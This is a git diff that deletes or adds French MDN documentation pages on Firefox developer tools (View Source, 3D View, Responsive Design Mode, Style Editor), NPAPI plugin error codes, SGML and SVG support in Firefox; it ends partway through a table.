Checky ajoute un sous-menu au menu contextuel de Netscape, de Mozilla, et de Firefox qui permet d'accéder rapidement à l'un des 18 services de validation et d'analyse actuellement en service.

- -

Applications et Services

- -

Assistant de mise en conformité Web de DevEdge

- -

Cette interface des services du W3C guide les développeurs Web débutants à travers tout le processus de mise en conformité d'un contenu pour le support de Netscape 7.x, Mozilla et de tous les autres navigateurs respectueux des standards du W3C.

- -

Validateur HTML du W3C

- -

Le validateur HTML du W3C permet de valider une page Web selon les HTML standards du W3C. Il est particulièrement utile pour détecter les balises propriétaires aussi bien que le code HTML non valide.

- -

Validateur CSS du W3C

- -

La validateur CSS du W3C permet de valider les CSS contenues dans une page Web ou d'un fichier externe, selon les standards CSS du W3C.

- -

Validateur RDF du W3C

- -

Le service de validation RDF permet de valider le code RDF/XML contenu dans une URI.

- - - -

Cet outil vérifie la validité des liens d'un page Web.

- -

HTML Tidy

- -

HTML Tidy est un outil qui peut être utiliser pour rapporter les erreurs de codage d'une page HTML et formater ce code pour une plus grande lisibilité (certains outils de développement Web, tels que HTML-Kit, intègrent HTML Tidy ce qui rend plus rapide et plus facile la validation).

- -

Validation JavaScript

- -

JSLint (externe)

- -

Services d'accessibilité

- -

Lynx Viewer

- -

Vérifie une page Web en utilisant la visualisation Lynx et permet la validation des mesures d'accessibilité.

- -
-

Informations sur le document original

- -
    -
  • Dernière mise à jour : 16 août 2002
    • -
  • Copyright : © 2001-2003 Netscape.
    • -
-
- -

Interwiki Languages Lin

diff --git a/files/fr/outils/view_source/index.html b/files/fr/outils/view_source/index.html deleted file mode 100644 index 9605a917b1..0000000000 --- a/files/fr/outils/view_source/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Affiche le Code source -slug: Outils/View_source -translation_of: Tools/View_source ---- -
{{ToolsSidebar}}
- -

"Code source de la page" permet de visualiser le code HTML ou XML de la page. Pour activer cet outil, il faut :

- -
    -
  • Faire un clic droit puis sélectionner "Code source de la page".
    • -
  • Utiliser le raccourci clavier Ctrl + U, ou Cmd + U sur OS X
    • -
- -

Avant Firefox 42, Une nouvelle fenêtre s'ouvre alors pour afficher le code source de la page.

- -

Depuis Firefox 42, cet outil ouvrira par défaut un nouvel onglet (à la place d'une fenêtre). Pour changer cette préférence, il faut passer la variable view_source.tab à false dans about:config.

- -

Depuis Firefox 60 la préférence view_source.tab a été supprimée ({{bug(1418403)}}), il n'est donc plus possible de changer le mode d'ouverture, les sources s'ouvriront toujours dans un nouvel onglet.

- -

Fonctionnalités

- -

Cet outil possède trois fonctionnalités supplémentaires. Celles-ci depuis Firefox 40 peuvent être utilisées via le menu contextuel dans l'onglet du code source :

- -
    -
  • Aller à la ligne
    • -
  • Retour à la ligne automatique (activer/désactiver)
    • -
  • Coloration syntaxique (activer/désactiver)
    • -
- -

Lorsque la coloration syntaxique est activée, l'outil met également les erreurs de parsage en surbrillance rouge. Survoler les messages d'erreurs affiche une infobulle expliquant l'erreur.

- -

Pour utiliser la fonctionnalité aller à la ligne avec le clavier, il suffit d'utiliser le raccourci clavier Alt + Shift + L sur Windows et Linux ou Control + Option + L sur Mac.

- -

Lien vers un numéro de ligne

- -

Il est possible de faire un lien vers une ligne en particulier. Il suffit d'ajouter l'ancre #lineNNN dans l'URL du navigateur pour sauter à la ligne NNN.

- -

Par exemple : view-source:https://www.mozilla.org/#line100

- -

Code source de la sélection

- -

Si une partie de la page est sélectionnée, alors l'option "Code source de la sélection" est disponible dans le menu contextuel de la page. Le comportement est le même que pour "Code source de la page" sauf que la partie du code source affiché ne sera que celle correspondant à la sélection.

- -

Code MathML de la sélection

- -

Si la souris survole du code MathML lors d'un clic droit, alors l'option "Code MathML de la sélection" est disponible, il sert à visualiser le code MathML.

- -

Limitations

- -

Il existe des limitations à l'outil qu'il faut connaitre :

- -

Le reporteur d'erreurs n'est PAS un validateur

- -

L'outil ne reporte que les erreurs de parsing, PAS les erreurs de validité HTML. Par exemple mettre un élément {{ HTMLElement("div") }} en enfant d'un élément {{ HTMLElement("ul") }} n'est pas une erreur de parsing, mais ce n'est pas de l'HTML valide ! Cette erreur n'apparaitra donc pas dans l'outil. Pour valider un code HTML, il est nécessaire d'utiliser un validateur HTML tel que celui proposé par le W3C.

- -

Toutes les erreurs de parsing ne sont pas supportées

- -

Même si toutes les erreurs affichées sont des erreurs de parsing, toutes les erreurs de parsing ne sont pas affichées. Parmi celles qui ne sont pas supportées, on retrouve :

- -
    -
  • Les octets qui sont illégaux selon l'encodage du document ne sont pas considérés comme des erreurs.
    • -
  • Les caractères interdits ne sont pas considérés en tant qu'erreur.
    • -
  • Les erreurs de fin de fichier.
    • -
  • Les erreurs de Tree builder de texte (au contraire des tags, commentaires, ou doctypes) ne sont pas rapportés.
    • -
  • Les erreurs de parsing liées aux attributs xmlns ne sont pas rapportées.
    • -
- -

Coloration syntaxique XML

- -

L'outil utilise le HTML tokenizer lorsqu'il met en surbrillance le code XML. Bien que le tokenizer supporte les processing instructions lors de la coloration de code XML, il s'agit de la seule fonctionnalité orientée XML fournie. À cause de cela, les doctypes qui ont un sous-ensemble interne ne sont pas colorés correctement, et les références d'entités des entités personnalisées ne sont pas non plus colorées correctement.

- -

Cette mauvaise coloration peut être observée en regardant le code source des fichiers chrome de Firefox (tel que les documents XUL). Cependant, cela ne devrait pas être un problème pour analyser des fichiers XML ordinaires.

- -

A voir également

- - diff --git a/files/fr/outils/vue_3d/index.html b/files/fr/outils/vue_3d/index.html deleted file mode 100644 index f750324939..0000000000 --- a/files/fr/outils/vue_3d/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Vue 3D -slug: Outils/Vue_3D -tags: - - HTML - - Tools -translation_of: Tools/3D_View ---- -
{{ToolsSidebar}}
- -
-

Depuis Firefox 47, la Vue 3D n'est plus disponible.

-
- -

Lorsque vous cliquez sur le bouton Vue 3D, la page passe en mode Vue 3D ; dans ce mode, vous pouvez voir votre page présentée dans une vue 3D dans laquelle les blocs imbriqués de HTML sont de plus en plus " hauts ", se projetant vers l'extérieur depuis le bas de la page. Cette vue facilite la visualisation de l'imbrication de votre contenu.

- -

- -

En cliquant et en glissant sur la vue, vous pouvez faire tourner et réorienter la présentation 3D de la hiérarchie de DOM de votre page pour le voir d'angles différents, mieux examiner sa structure. Hors de l'image, les éléments deviennent visibles pour que vous puissiez voir où vos éléments sont placés par rapport au contenu visible. Vous pouvez cliquer sur des éléments pour voir leur code HTML dans l'inspecteur HTML ou l'inspecteur de Style. Au contraire, vous pouvez cliquer sur des éléments dans l'inspecteur pour changer quel élément est choisi dans la vue 3D.

- -

Si vous ne voyez pas le bouton 3D dans l'inspecteur de page, il est possible que votre navigateur graphique doive être mis à jour.

- -

Contrôle de la vue 3D

- -

Il y a des raccourcis claviers et des touches avec la souris pour contrôler la vue 3D.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionClavierSouris
Zoom plus/moins+ / -Mollette vers le haut/bas
Rotation gauche/droitea / dFaire glisser vers la gauche/droite
Rotation haut/basw / sFaire glisser versle haut/bas
Se déplacer vers la gauche/droite← / →Souris à gauche/droite
Se déplacer vers le haut/bas↑ / ↓Souris en haut/bas
Remettre le zoom par défaut0Remet le taux d'agrandissement par défaut
Mettre le bloc sélectionné visiblefRend le bloc sélectionné visible {{ fx_minversion_inline("13.0") }}
Remettre la vue par défautrRemet le zoom, la rotation et le déplacement par défaut{{ fx_minversion_inline("12.0") }}
Masquer le blocxRend le bloc invisible, ce qui est pratique lorsqu'un bloc en dessous est caché. {{ fx_minversion_inline("12.0") }}
- -

Causes de l'utilisation de la Vue 3D

- -

Il y a différentes façons la vue 3D est utile :

- -
    -
  • Si vous avez modifié le HTML causant des problèmes de disposition, en regardant avec la vue 3D peut vous aidez à trouver où vous vous êtes trompés. Souvent, les problèmes de disposition sont causés dans l'emboîtement incorrect de contenu. Ceci peut devenir beaucoup plus évident en utilisant la vue 3D et voyant où vos éléments sont mal emboîtés.
    • -
  • Si le contenu ne s'affiche pas, vous pouvez comprendre pourquoi; puisque la vue 3D vous laisse faire un zoom arrière pour voir les éléments qui rendent à l'extérieur de la zone visible de la page, vous pouvez trouver le contenu perdu cette façon.
    • -
  • Vous pouvez obtenir un regard pour savoir comment votre page est structurée, pour voir s'il peut y avoir des façons d'optimiser votre disposition.
    • -
  • Et, bien sûr, parce que c'est stupéfiant.
    • -
- -

Voir aussi

- - diff --git a/files/fr/outils/vue_adaptative/index.html b/files/fr/outils/vue_adaptative/index.html deleted file mode 100644 index e9de1226c9..0000000000 --- a/files/fr/outils/vue_adaptative/index.html +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: Vue adaptative -slug: Outils/Vue_adaptative -tags: - - Firefox - - Mobile - - Responsive Design - - Tools - - Web Development -translation_of: Tools/Responsive_Design_Mode ---- -
{{ToolsSidebar}}
- -

Le responsive design (vue adaptative) est la pratique de concevoir un site web afin que celui-ci s'affiche correctement sur un grand nombre d'appareils différents. En particulier les mobiles et les tablettes, ainsi que les ordinateurs (portable ou de bureau).

- -

Le facteur le plus évident ici est la taille d'écran, mais il y a aussi d'autres facteurs, incluant la densité de pixels de l'affichage ainsi que s’il est tactile ou non. Le mode vue adaptative vous donne un moyen simple de simuler ces facteurs, de tester à quoi ressembler votre site web et comment il se comportera sur différents appareils.

- -

Activation et désactivation du mode de vue adaptative

- -

Il existe trois façons d’activer la vue adaptative :

- -
    -
  • Dans le menu de Firefox, sélectionner le sous-menu Développement puis vue adaptative (ou le menu Outils si la barre de menus est affichée ou si vous êtes sur macOS).
    • -
  • Appuyer sur le bouton vue adaptative de la barre d’outils de développement:
    • -
  • Utiliser le raccourci clavier Ctrl+Maj+M, ou Cmd+Option+M pour macOS.
    • -
- -

Utiliser la vue adaptative

- -

Lorsque l'outil est activé, la zone de contenu des pages web prend la taille de l'écran de l'appareil sélectionné. Par défaut la taille est de 320 x 480 pixels.

- -
-

Note: L'appareil sélectioné ainsi que l'orientation (portrait/paysage) sera sauvegardé entre deux sessions.

-
- -

 

- -

- -

 

- -

Il est possible d'afficher ou de cacher la boîte à outils indépendamment de la vue adaptative elle-même :

- -

Quand la vue adaptative est activée, il est possible de continuer à naviguer comme vous le feriez normalement dans la zone de contenu redimensionnée.

- -

Sélectionner un appareil

- -

Juste au-dessus de la zone d'affichage, se trouve la ligne "Aucun appareil sélectionné". Cliquer sur cette ligne ouvrira une liste de noms d'appareils. Sélectionner un appareil, et le mode de vue adaptative configurera les propriétés suivantes correspondantes à l'appareil sélectionné :

- -
    -
  • Taille de l'écran
    • -
  • Ratio de pixel de l'appareil (le ratio de pixels physiques de l'appareil sur les pixels indépendants de l'appareil)
    • -
  • Simulation des évènements tactiles
    • -
- -

En plus, Firefox modifiera l'en-tête HTTP User-Agent pour s'identifier en tant que navigateur par défaut. Par exemple si l'appareil sélection est un iPhone, alors Firefox s'identifiera comme Safari. La propriété navigator.userAgent aura la même valeur.

- -

{{EmbedYouTube("JNAyKemudv0")}}

- -

Les appareils listés ne sont qu'une partie de tous les appareils possibles. En bas de la liste, le bouton "Modifier la liste" ouvrira un panneau avec la liste complète de tous les appareils. Ce panneau permet de définir les appareils qui apparaitront dans la liste déroulante. La liste des appareils ainsi que leurs valeurs associées proviennent de : https://github.com/mozilla/simulated-devices.

- -

Sauvegarder des appareils personnalisés

- -

Depuis de Firefox 54, il est possible de sauvegarder des appareils personnalisés. Chaque appareil peut avoir ses propres propriétés de :

- -
    -
  • taille
    • -
  • devicePixelRatio (DPR)
    • -
  • user agent (UA)
    • -
  • support tactile
    • -
- -

Il est également possible de prévisualiser les propriétés des appareils existants en survolant leur nom dans le menu des appareils.

- -

- -

Contrôler les appareils

- -

Il est possible de fournir des valeurs personnalisées pour la plupart des propriétés d'un appareil.

- -

Modifier la taille d'écran

- -

Pour modifier la taille d'écran, il faut cliquer sur les valeurs en dessous de la zone d'affichage et les modifier :

- -

- -

Il est également possible de déplacer le coin en bas à droite de la zone d'affichage.

- -

Depuis Firefox 59, il est possible d'éditer les tailles d'écran avec le clavier. Lorsque les dimensions sont sélectionnées (ou que le curseur d'écriture est dedans). Il est également possible d'utiliser les flèches haut et bas de 1px.

- -

Pour changer les dimensions plus rapidement, il est possible d'utiliser maj pour itérer de 10pixels en 10 pixels.

- -

Modifier le ratio pixel de l'appareil

- -

Pour définir un ratio personnalisé, il faut cliquer sur la boite "DPR" et sélectionner la valeur voulue.

- -

Activer/désactiver la simulation du touch

- -

Pour ce faire, il faut cliquer sur l'icône en forme de doigt :

- -

Lorsque la simulation est activée, les évènements de la souris sont transformés en évènements évènements touch.

- -

Contrôler le comportement de rechargement de page

- -

Depuis Firefox 60 le menu de sélection Actualiser quand... a été rajouté :

- -

- -

Cliquer dessus affiche deux options qui sont toutes deux désactivées par défaut :

- -
    -
  • Actualiser lors de l'activation/désactivation de la simulation tactile.
    • -
  • Actualiser lors du changement d'agent utilisateur.
    • -
- -

Avant Firefox 60, ces actualisations étaient automatiques, car certains comportements de la page n'étaient pas fonctionnels sinon. Par exemple, certaines pages vérifient la compatibilité tactile au chargement, et n'ajoute des évènements que si tel est le cas.

- -

Cependant, si vous n'êtes pas intéressé par de telles fonctionnalités (par exemple si vous avez juste envie de vérifier la mise en page dans différentes résolutions), ces rechargements peuvent s'avérer ennuyants. Il est donc utile de pouvoir contrôler ces rechargements.

- -

Lors d'un changement de certaines options, un message d'avertissement est affiché pour vous prévenir que les rechargements ne sont plus automatiques, et précise comment réactiver ce comportement :

- -

- -

Activer/désactiver l'orientation

- -

Pour alterner entre les orientations d'écran portrait et paysage, il suffit de cliquer sur l'icône à droite de la sélection d'appareils :

- -

- -

Bridage réseau

- -

Si tout le développement est fait avec une bonne bande passante, il est possible d'avoir des problèmes avec une connexion moins rapide et de ne pas s'en rendre compte. La Vue Adaptative permet de dire au navigateur d'émuler (très approximativement) les caractéristiques de différents types de réseaux.

- -

Les caractéristiques émulées sont :

- -
    -
  • La vitesse de téléchargement
    • -
  • La vitesse d'upload (téléversement (berk))
    • -
  • latence minimum
    • -
- -

La table ci-dessous liste les valeurs associées à chaque type de réseau. Cependant, ne vous fiez pas à cela pour des mesures de performances exactes. Le but n'est d'avoir qu'une idée approximative de l’expérience utilisateur dans différentes conditions.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SélectionVitesse de téléchargementVitesse d'uploadLatence minimum (ms)
GPRS50 KB/s20 KB/s500
Regular 2G250 KB/s50 KB/s300
Good 2G450 KB/s150 KB/s150
Regular 3G750 KB/s250 KB/s100
Good 3G1.5 MB/s750 KB/s40
Regular 4G/LTE4 MB/s3 MB/s20
DSL2 MB/s1 MB/s5
Wi-Fi30 MB/s15 MB/s2
- -

Pour sélectionner un réseau il faut cliquer sur la liste déroulante qui par défaut vaut "Aucune limitation" :

- -

Prendre une capture d'écran

- -

Pour prendre une capture d'écran, il suffit de cliquer sur l'icône en forme d'appareil photo :

- -

Les captures d'écran sont enregistrées à l'emplacement de téléchargement par défaut de Firefox.

- -

Depuis Firefox 53, si la case "Enregistrer dans le presse-papier" est cochée dans la page des paramètres alors, la capture d'écran sera aussi enregistrée dans le presse-papier du système d'exploitation.

diff --git "a/files/fr/outils/\303\251diteur_de_style/index.html" "b/files/fr/outils/\303\251diteur_de_style/index.html" deleted file mode 100644 index dfbd8fb61f..0000000000 --- "a/files/fr/outils/\303\251diteur_de_style/index.html" +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Éditeur de Style -slug: Outils/Éditeur_de_style -tags: - - CSS - - Stylesheets - - Tools - - Web Development - - 'Web Development:Tools' -translation_of: Tools/Style_Editor ---- -
{{ToolsSidebar}}
- -

L'Éditeur de Style permet de :

- -
    -
  • Voir et éditer les feuilles de style associées à une page.
    • -
  • Créer de nouvelles feuilles de style de zéro et les appliquer à la page.
    • -
  • Importer des feuilles de styles existantes et les appliquer à la page.
    • -
- -

{{EmbedYouTube("7839qc55r7o")}}

- -

Pour ouvrir l'Éditeur de Style, choisissez l'option "Éditeur de Style" du menu "Développement Web" (qui lui-même est un sous-menu du menu "Outils"). La Boite à outils apparaitra alors en bas de la fenêtre du navigateur, avec l'Éditeur de Style activé :

- -

- -

L'Éditeur de Style est divisé en trois grandes parties :

- - - -

Le panneau des feuilles de style

- -

Le panneau des feuilles de style sur la gauche, liste toutes les feuilles de style utilisées par le document actuel. Vous pouvez Activer/Désactiver rapidement l'affichage d'une feuille en cliquant sur l’icône en forme d'œil à gauche de son nom. Vous pouvez sauvegarder toutes les modifications de la feuille de style sur votre ordinateur en cliquant sur le bouton "Enregistrer" situé en bas à droite de chaque feuille dans la liste.

- -

Depuis Firefox 40, le panneau des feuilles de styles inclut également un menu contextuel qui permet d'ouvrir la feuille de style sélectionnée dans un nouvel onglet.

- -

Le panneau d'édition

- -

Le panneau d'édition est au centre. C'est là que le code source de la feuille de style sélectionnée peut être lu et édité. Toutes les modifications sont automatiquement appliquées à la page. Ceci rend facile l'expérimentation, les corrections et les tests. Quand vous êtes satisfait(e) de vos modifications, vous pouvez sauvegarder une copie locale en cliquant sur le bouton sauvegarder de la feuille dans le panneau des feuilles de style.

- -

L'éditeur affiche les numéros de ligne et la coloration syntaxique pour vous aider et rendre la lecture de vos CSS plus facile. Il supporte aussi une partie des raccourcis clavier.

- -

L'Éditeur de Style dé-minimifie automatiquement les feuilles de style qu'il détecte, sans altérer le fichier original. Ce qui rend le travail sur des pages optimisées beaucoup plus facile.

- -

L'Éditeur de Style supporte l’autocomplétion. Commencez simplement à taper et il vous affichera une liste de suggestions :

- -

Vous pouvez désactiver cette fonctionnalité dans les Paramètres de l'Éditeur de Style.

- -

Le volet média

- -

L'éditeur de Style affiche un volet sur la partie droite dès que la feuille de style sélectionnée contient des règles @media. Le volet liste les règles et fournit un lien vers la ligne de la feuille de style définissant la règle. Cliquez sur une des entrées pour basculer sur la règle. La règle est affichée grisée, si la média query n'est pas actuellement appliquée.

- -

- -

Le volet média est très utile quand associé à la Vue adaptative pour créer et déboguer des mises en pages responsive :

- -

{{EmbedYouTube("aVUXmvLSwoM")}}

- -

Depuis Firefox 46, si une règle @media contient une taille d'écran dans une condition, alors il est possible de cliquer dessus. Cela redimensionne l'écran à la taille en question en utilisant la Vue Adaptative :

- -

{{EmbedYouTube("XeocxoW2NYY")}}

- -

Créer et importer des feuilles de style.

- -

Vous pouvez créer une nouvelle feuille de style en cliquant sur le bouton "Nouveau" dans la barre d'outils. Puis vous pouvez commencer à écrire du CSS dans le nouvel éditeur et observer comment les nouveaux styles s'appliquent en temps réel de la même manière que les modifications sur les autres feuilles.

- -

Vous pouvez charger une feuille de style depuis votre ordinateur et l’appliquer à la page en cliquant sur le bouton "Importer"

- -

Support de "Source map"

- -

{{EmbedYouTube("zu2eZbYtEUQ")}}

- -

Les développeurs web créent souvent des fichiers CSS en utilisant un préprocesseur comme Sass, Less, ou Stylus. Ces outils génèrent des fichiers CSS depuis une syntaxe plus riche et plus déclarative. Ainsi, être capable de modifier le CSS généré n'est pas très utile, car le code maintenu est le code écrit dans la syntaxe du préprocesseur, pas le CSS généré. Il faudrait alors éditer le CSS généré puis se débrouiller pour réappliquer manuellement les changements au code source d'origine.

- -

Les "Source maps" permettent aux outils de remonter depuis le CSS généré jusqu’à la syntaxe d'origine, pour pouvoir afficher et donner la possibilité d'éditer les fichiers dans la syntaxe d'origine. Depuis Firefox 29, l'Éditeur de style peut comprendre les "CSS source maps".

- -

Cela veut dire que si vous utilisez par exemple Sass, l'éditeur affichera et permettra d'éditer les fichiers Sass plutôt que le CSS généré grâce à eux.

- -

Pour que cela fonctionne, il est nécessaire de :

- -
    -
  • Utiliser un préprocesseur de CSS qui respecte la proposition de "Source Map" Revision 3. Aujourd’hui cela signifie utiliser la version 3.3.0 de Sass, ou la version 1.5.0 de Less. D'autres préprocesseurs sont actuellement en train de travailler pour devenir compatible ou considèrent le faire.
    • -
  • Ordonner au préprocesseur de générer une "source map" par exemple passer le paramètre  --sourcemap à l’outil de ligne de commande Sass.
    • -
- -

Voir les sources d'origine

- -

Si vous activez "Montrer les sources d'origine" dans les options de l'Éditeur de Style, les liens dans volet des règles CSS de l'outil Inspecteur Web pointeront sur le fichier d'origine, dans l'Éditeur de style.

- -

Depuis Firefox 35, les sources originales sont affichées par défaut.

- -

Éditer les sources d'origine

- -

Il est également possible d'éditer les sources d'origine dans l'Éditeur de style et voir les résultats appliqués à la page immédiatement. Pour que cela fonctionne, il y a deux étapes supplémentaires.

- -

Premièrement, configurer le préprocesseur pour qu'il surveille les sources d'origine et régénère automatiquement le CSS. Quand les sources changent. Avec Sass c'est possible simplement en passant le paramètre --watch :

- -
sass index.scss:index.css --sourcemap --watch
- -

Deuxièmement, il faut sauvegarder les sources d'origine dans l'Éditeur de Style. en cliquant sur le bouton "Enregistrer" à côté du fichier CSS.

- -

Il est alors possible de faire des modifications du fichier source dans l'Éditeur de Style, le CSS est régénéré automatiquement et les changements sont visibles immédiatement.

- -

Raccourcis clavier

- -

Éditeur de source

- -

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "source-editor") }}

diff --git a/files/fr/plugins/guide/constants/index.html b/files/fr/plugins/guide/constants/index.html new file mode 100644 index 0000000000..e7754f7e72 --- /dev/null +++ b/files/fr/plugins/guide/constants/index.html @@ -0,0 +1,92 @@ +--- +title: Constantes +slug: NPAPI/Constantes +tags: + - Code + - Erreur + - Plugin +translation_of: Plugins/Guide/Constants +translation_of_original: NPAPI/Constants +--- +

Cette section est une référence au définitions utilisées par l'API Plug-in. Toutes les définitions proviennent de npapi.h.

+

Codes Erreur

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CodeValeurDescription
NPERR_NO_ERROR 0Aucune erreur n'est survenue
NPERR_GENERIC_ERROR 1Une erreur sans code attribué est survenue
NPERR_INVALID_INSTANCE_ERROR 2L'instance transmise au plugin est invalide
NPERR_INVALID_FUNCTABLE_ERROR 3Table de fonctions invalide
NPERR_MODULE_LOAD_FAILED_ERROR4Le chargement du plugin a échoué
NPERR_OUT_OF_MEMORY_ERROR5L'allocation de mémoire a échoué
NPERR_INVALID_PLUGIN_ERROR 6Plugin manquant ou invalide
NPERR_INVALID_PLUGIN_DIR_ERROR7Répertoire du plugin manquant ou invalide
NPERR_INCOMPATIBLE_VERSION_ERROR8les versions du plugin et de  Communicator ne correspondent pas
NPERR_INVALID_PARAM 9Paramètre manquant ou invalide
NPERR_INVALID_URL10URL manquante ou invalide
NPERR_FILE_NOT_FOUND11Fichier manquant ou invalide
NPERR_NO_DATA12Le flux ne contient pas de données
NPERR_STREAM_NOT_SEEKABLE 13Flux trouvable attendu. (trad à vérifier : Seekable stream expected)
+

 

diff --git "a/files/fr/r\303\251f\303\251rence_dom_gecko/index.html" "b/files/fr/r\303\251f\303\251rence_dom_gecko/index.html" deleted file mode 100644 index 196eda1157..0000000000 --- "a/files/fr/r\303\251f\303\251rence_dom_gecko/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Référence DOM Gecko -slug: Référence_DOM_Gecko -translation_of: Glossary/DOM -translation_of_original: Document_Object_Model_(DOM) ---- -
- Table des matières du DOM Gecko
-

Préface

- -

Introduction

- diff --git a/files/fr/sgml/index.html b/files/fr/sgml/index.html deleted file mode 100644 index 36f5ec9dbb..0000000000 --- a/files/fr/sgml/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: SGML -slug: SGML -tags: - - Glossaire - - Programmation - - SGML -translation_of: Glossary/SGML ---- -

SGML (Standard Generalized Markup Language) est une spécification {{glossary("ISO")}} pour définir des langages de balisage générique pour des documents.

- -

Sur le web, {{glossary("HTML")}} 4, {{glossary("XHTML")}} et {{glossary("XML")}} sont des exemples populaires de langages basés sur SGML. On peut remarquer que depuis sa cinquième édition, HTML n'est désormais plus basé sur SGML et possède ses propres règles d'analyse.

- -

En savoir plus

- - diff --git a/files/fr/svg_dans_firefox/index.html b/files/fr/svg_dans_firefox/index.html deleted file mode 100644 index 36e4340b97..0000000000 --- a/files/fr/svg_dans_firefox/index.html +++ /dev/null @@ -1,774 +0,0 @@ ---- -title: SVG dans Firefox -slug: SVG_dans_Firefox -tags: - - SVG -translation_of: Web/SVG/SVG_1.1_Support_in_Firefox ---- -

Vous trouverez des exemples simples de syntaxe et d'utilisation de SVG sur la page W3C SVG test suite.

- -

Statut d'implémentation des éléments

- -
    -
  • SVGPathSegList Interface -
      -
    • Liaisons non implémentées : replaceItem()
      • -
    -
    • -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ÉlémentNotes
Structure Module
svg -
    -
  • Implémenté.
    • -
  • Les attributs DOM currentScale et currentTranslate sont implémentés, mais il n'y a pas d'interface utilisateur pour se déplacer et zoomer.
    • -
  • SVGSVGElement -
      -
    • Attributs non implémentés : contentScriptType, contentStyleType, viewport, useCurrentView, currentView
      • -
    • Liaisons non implémentées : pauseAnimations, unpauseAnimations, animationsPaused, getCurrentTime, setCurrentTime, getIntersectionList, getEnclosureList, checkIntersection, checkEnclosure, deselectAll,
      • -
    • createSVGAngle (implémenté dans Firefox 2), getElementById
      • -
    -
    • -
-
g -
    -
  • Implémenté.
    • -
-
defs -
    -
  • Implémenté.
    • -
-
desc -
    -
  • Implémenté.
    • -
  • Uniquement stocké dans le DOM, pas d'interface utilisateur.
    • -
-
title -
    -
  • Implémenté.
    • -
-
metadata -
    -
  • Implémenté.
    • -
  • Uniquement stocké dans le DOM, pas d'interface utilisateur.
    • -
-
symbol -
    -
  • Implémenté.
    • -
-
use -
    -
  • Implémenté.
    • -
  • Fonctionne uniquement pour les références internes au document ({{ Bug(269482) }}).
    • -
  • Ne suit pas entièrement les règles de cascade <svg:use> ({{ Bug(265894) }}).
    • -
  • Ne délivre pas les évènements à un arbre SVGElementInstance ({{ Bug(265895) }}).
    • -
-
Conditional Processing Module
switch -
    -
  • Implémenté.
    • -
-
Image Module
image -
    -
  • Implémenté.
    • -
-
Style Module
style -
    -
  • Implémenté.
    • -
-
Shape Module
path -
    -
  • Implémenté.
    • -
  • SVGPathElement Interface -
      -
    • Attributs non implémentés : pathLength, normalizedPathSegList, animatedPathSegList, animatedNormalizedPathSegList
      • -
    • Liaisons non implémentées : getTotalLength,
      • -
    • getPointAtLength (implémenté dans Firefox 2), getPathSegAtLength
      • -
    -
    • -
-
rect -
    -
  • Implémenté.
    • -
-
circle -
    -
  • Implémenté.
    • -
-
line -
    -
  • Implémenté.
    • -
-
ellipse -
    -
  • Implémenté.
    • -
-
polyline -
    -
  • Implémenté.
    • -
-
polygon -
    -
  • Implémenté.
    • -
-
Text Module
text -
    -
  • Implémenté.
    • -
  • SVGTextElement -
      -
    • Attributs non implémentés : rotate, textLength, lengthAdjust
      • -
    • Liaisons non implémentées : getNumberOfChars, getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString
      • -
    • Liaisons non fonctionnelles au cours de onload : getExtentOfChar
      • -
    -
    • -
-
tspan -
    -
  • Implémenté.
    • -
  • SVGTSpanElement -
      -
    • Attributs non implémentés : rotate, textLength, lengthAdjust
      • -
    • Liaisons non implémentées : getNumberOfChars,
      • -
    • getComputedTextLength (implémenté dans Firefox 2), getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getExtentOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString
      • -
    -
    • -
-
tref -
    -
  • Cette fonctionnalité se trouvait dans les premiers projets de spec et a été retirée par la suite, elle n'est donc pas implémentée
    • -
-
textPath -
    -
  • Implémenté dans Firefox 2.
    • -
  • Attributs non implémentés : method, spacing, textLength, lengthAdjust
    • -
-
altGlyph -
    -
  • Non implémenté.
    • -
-
altGlyphDef -
    -
  • Non implémenté.
    • -
-
altGlyphItem -
    -
  • Non implémenté.
    • -
-
glyphRef -
    -
  • Non implémenté.
    • -
-
Marker Module
marker -
    -
  • Implémenté.
    • -
-
Color Profile Module
color-profile -
    -
  • Non implémenté.
    • -
-
Gradient Module
linearGradient -
    -
  • Implémenté.
    • -
-
radialGradient -
    -
  • Implémenté.
    • -
-
stop -
    -
  • Implémenté.
    • -
-
Pattern Module
pattern -
    -
  • Implémenté.
    • -
-
Clip Module
clipPath -
    -
  • Implémenté.
    • -
-
Mask Module
mask -
    -
  • Implémenté.
    • -
-
Filter Module
filter -
    -
  • Implémenté.
    • -
-
feBlend -
    -
  • Implémenté.
    • -
-
feColorMatrix -
    -
  • Implémenté.
    • -
-
feComponentTransfer -
    -
  • Implémenté.
    • -
-
feComposite -
    -
  • Implémenté.
    • -
-
feConvolveMatrix -
    -
  • Implémenté.
    • -
-
feDiffuseLighting -
    -
  • Implémenté.
    • -
-
feDisplacementMap -
    -
  • Implémenté.
    • -
-
feFlood -
    -
  • Implémenté.
    • -
-
feGaussianBlur -
    -
  • Implémenté.
    • -
-
feImage -
    -
